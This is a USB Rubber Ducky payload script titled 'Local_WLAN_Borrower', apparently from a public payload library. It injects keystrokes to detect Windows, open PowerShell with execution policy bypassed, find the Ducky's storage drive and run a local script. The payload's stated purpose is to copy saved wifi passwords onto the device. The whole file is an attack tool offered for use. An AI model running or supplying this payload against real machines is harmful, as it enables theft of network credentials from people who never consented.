Path: blob/master/payloads/library/credentials/Local_WLAN_Borrower/payload.txt
2968 views
REM Title: Local_WLAN_Borrower1REM Description: Borrows wifi passwords and saves them on the DUCKY2REM Author: YEETBOY03303REM Props: Zero_Sploit(DUCKY-WIFI-GRABBER) + Hak5 Team4REM Version: 1.05REM Category: Creds6REM Target: Windows 10 & 117REM Attackmodes: HID, STORAGE89ATTACKMODE HID STORAGE10DEFAULTDELAY 201112EXTENSION PASSIVE_WINDOWS_DETECT13REM VERSION 1.114REM AUTHOR: Korben1516REM_BLOCK DOCUMENTATION17Windows fully passive OS Detection and passive Detect Ready18Includes its own passive detect ready.19Does not require additional extensions.2021USAGE:22Extension runs inline (here)23Place at beginning of payload (besides ATTACKMODE) to act as dynamic24boot delay25$_OS will be set to WINDOWS or NOT_WINDOWS26See end of payload for usage within payload27END_REM2829REM CONFIGURATION:30DEFINE #MAX_WAIT 15031DEFINE #CHECK_INTERVAL 2032DEFINE #WINDOWS_HOST_REQUEST_COUNT 233DEFINE #NOT_WINDOWS 73435$_OS = #NOT_WINDOWS3637VAR $MAX_TRIES = #MAX_WAIT38WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))39DELAY #CHECK_INTERVAL40$MAX_TRIES = ($MAX_TRIES - 1)41END_WHILE42IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN43$_OS = WINDOWS44END_IF4546REM_BLOCK EXAMPLE USAGE AFTER EXTENSION47IF ($_OS == WINDOWS) THEN48STRING HELLO WINDOWS!49ELSE50STRING HELLO WORLD!51END_IF52END_REM53END_EXTENSION5455REM change this to your drive label56DEFINE #DRIVE_LABEL DUCKY57REM change this to the name of your PS1 script58DEFINE #PS1_FILE_NAME 1.ps159IF ($_OS == WINDOWS) THEN60REM Initial Delay61DELAY 100062REM Opens powershell with script execution enabled63GUI r64DELAY 70065STRINGLN powershell -ExecutionPolicy Bypass66DELAY 40006768REM Gets usb drive letter of #DRIVE_LABEL69STRINGLN_POWERSHELL70$targetLabel = "#DRIVE_LABEL"71$volume = Get-Volume | Where-Object { $_.FileSystemLabel -eq $targetLabel }72$driveLetter = $volume.DriveLetter + ":"73cd $driveletter74END_STRINGLN75REM Runs powershell script76STRINGLN .\#PS1_FILE_NAME7778END_IF798081